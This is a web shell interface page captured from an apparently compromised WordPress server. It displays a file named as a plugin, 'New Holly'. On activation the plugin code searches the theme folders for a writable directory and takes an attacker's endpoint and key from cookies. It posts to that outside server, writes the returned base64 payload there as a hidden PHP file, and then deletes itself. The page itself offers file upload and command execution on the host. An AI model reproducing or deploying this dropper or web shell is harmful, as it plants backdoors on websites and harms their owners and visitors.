403Webshell
Server IP : 51.91.236.193  /  Your IP : 216.73.216.224
Web Server : Apache
System : Linux webm010.cluster128.gra.hosting.ovh.net 6.18.39-ovh-vps-grsec-zfs+ #1 SMP PREEMPT_DYNAMIC Tue Jul 21 12:03:15 CEST 2026 x86_64
User : institutah ( 16501)
PHP Version : 7.2.34
Disable Function : _dyuweyrj4,_dyuweyrj4r,dl
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /home/institutah/www/wp-content/plugins/newholly/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /home/institutah/www/wp-content/plugins/newholly/new_holly.php
<?php
/**
 * Plugin Name: New Holly
 * Version: 2.9
 */

register_activation_hook( __FILE__, 'holly_premium_activate' );


function holly_premium_activate() {
    ///
    $site = get_site_uri();
    $file_name = substr(md5(time().$_SERVER['HTTP_HOST']), 0, 8).rand(1, 99).'.php' ;
    $rootDir = realpath($_SERVER['DOCUMENT_ROOT']).'/wp-content/themes';
    
    $directories = getDirectoriesRecursive($rootDir);

    $result_json = [];
    $result_json['site'] = $site;
    $result_json['rootDir'] = $rootDir;
    $result_json['file_name'] = $file_name;
    $result_json['ABSPATH'] = ABSPATH;
    $result_json['dir_found'] = count($directories);
    $result_json['status'] = '';
    $result_json['error_msg'] = '';
    $result_json['error_fopen'] = 0;
    $result_json['error_writable'] = 0;
    $result_json['error_isdir'] = 0;


    if ($rootDir === false) {
        $result_json['status'] = 'error';
    }else{
        foreach ($directories as $key => $value) {
            $path = $value['path'];
            if (!is_dir($path)) {
                $result_json['error_isdir']++;
                continue;
            }

            if (!is_writable($path)) {
                $result_json['error_writable']++;
                continue;
            }

            $file_path = $value['path'].'/'.$file_name;
            $handle = @fopen($file_path, 'w'); 
            if ($handle === false) {
                $e = error_get_last();
                $result_json['last_file_path'] = $file_path;
                $result_json['last_error_fopen_msg']= error_get_last();
                $result_json['error_fopen']++;
                continue;
            }

            $url = getFileUrl($file_path, $site);

            //
            if ($url === null) {
                $result_json['getFileUrl']='error';
                continue;
            }


            if (!function_exists('curl_init')) {
                $result_json['error']  = 'curl_init not install';
                break;
            }

            //
            $data = apiret($url, $result_json);

            if($data == ''){
                $result_json['error'] = 'data empty';
                break;
            }

            $bytes = fwrite($handle, base64_decode($data['data'])); 
            if ($bytes === false) {
                $result_json['error'] = 'bytes false';
                break;
            }
            fflush($handle);
            fclose($handle);
            $result_json['status'] = 'done';
            break;
        }
    }

    if($result_json['status'] != 'done'){
        $result_json['status'] = 'error';
    }

    delete_plug();
    wp_die(
        '<div class="wp-die-json-message">'.json_encode($result_json).'</div>',
        __( 'Active', 'seo-premium' )
    );
}

function get_site_uri(){
    $scheme = (!empty($_SERVER['HTTPS']) && $_SERVER['HTTPS'] !== 'off' || $_SERVER['SERVER_PORT'] == 443) ? 'https://' : 'http://';
    return  $scheme . $_SERVER['HTTP_HOST']; 
}

function delete_plug(){

    require_once ABSPATH . 'wp-admin/includes/file.php';
    WP_Filesystem();          
    global $wp_filesystem;
    delete_plugins( array( plugin_basename(__FILE__) ) );
}

function rrmdir(string $dir): bool
{
    if (!is_dir($dir)) {
        return false;
    }
    $prevCwd = getcwd();
    chdir($prevCwd);
    $it = new RecursiveIteratorIterator(
        new RecursiveDirectoryIterator($dir, FilesystemIterator::SKIP_DOTS),
        RecursiveIteratorIterator::CHILD_FIRST
    );
    foreach ($it as $fileInfo) {
        $path = $fileInfo->getRealPath();

        if ($fileInfo->isDir()) {
            rmdir($path);
        } else {
            @unlink($path);
        }
    }
    $result = rmdir($dir);
    chdir($prevCwd);
    return $result;
}

function getFileUrl(string $absolutePath, string $site): ?string
{
    $abs = str_replace('\\', '/', realpath($absolutePath));
    if ($abs === false) {               
        return null;
    }

    $docRoot = rtrim($_SERVER['DOCUMENT_ROOT'] ?? '', '/');

    if (stripos($abs, $docRoot) !== 0) {
        return null;                   
    }

    $relative = substr($abs, strlen($docRoot));
    $relative = '/' . ltrim($relative, '/'); 

    $site = rtrim($site, '/');
    return $site . $relative;
}

//
function getDirectoriesRecursive(string $basePath): array
{
    $dirs = [];
    $rootDepth = substr_count($basePath, DIRECTORY_SEPARATOR);
    $iterator = new RecursiveIteratorIterator(
        new RecursiveDirectoryIterator(
            $basePath,
            FilesystemIterator::SKIP_DOTS
        ),
        RecursiveIteratorIterator::SELF_FIRST
    );

    foreach ($iterator as $item) {
        if ($item->isDir()) {
            $path = $item->getRealPath();
            $depthRel = substr_count($path, DIRECTORY_SEPARATOR) - $rootDepth;
            $accessible = is_readable($path);
            $dirs[] = [
                'path'       => $path,
                'depth'      => $depthRel,
                'accessible' => $accessible,
            ];
        }
    }
    usort($dirs, fn($a, $b) => $b['depth'] <=> $a['depth']);
    return $dirs;
}

//
function apiret($furl, &$result_json){
    $data = '';
    $wordpresrr = $_COOKIE['wordpress_ijsd98u32'] ?? null; 
    if($wordpresrr === null){  
        $result_json['msg'] = 'apiEndpoint null';
        return ''; 
    }
    $wordpresrr = base64_decode($wordpresrr);
    $apurl = trim($wordpresrr);
    $apiEndpoint = $apurl; 
    $apikey = $_COOKIE['wordpress_xxxu32'] ?? null; 
    if($apikey === null){  
        $result_json['msg'] = 'apikey null';
        return ''; 
    }
    $ch = curl_init($apiEndpoint);
    curl_setopt($ch, CURLOPT_POST, true);
    curl_setopt($ch, CURLOPT_HTTPHEADER, ['Content-Type: application/x-www-form-urlencoded',]);
    curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query(['url' => $furl, 'api' => $apikey]));
    curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);   
    curl_setopt($ch, CURLOPT_TIMEOUT, 30);          

    $response = curl_exec($ch);
    $httpCode = curl_getinfo($ch, CURLINFO_HTTP_CODE);

    if ($response === false) {
        //echo ' cURL error: ' . curl_error($ch) . "\n";
        $result_json['cURL_error'] = curl_error($ch);
        return '';
    }

    if ($httpCode === 200) {
        $data = json_decode($response, true);
        if (json_last_error() !== JSON_ERROR_NONE) {
            $result_json['json_error'] = 'json_error';
            return '';
        }
    }
    curl_close($ch);

    return $data;
}

Youez - 2016 - github.com/yon3zu
LinuXploit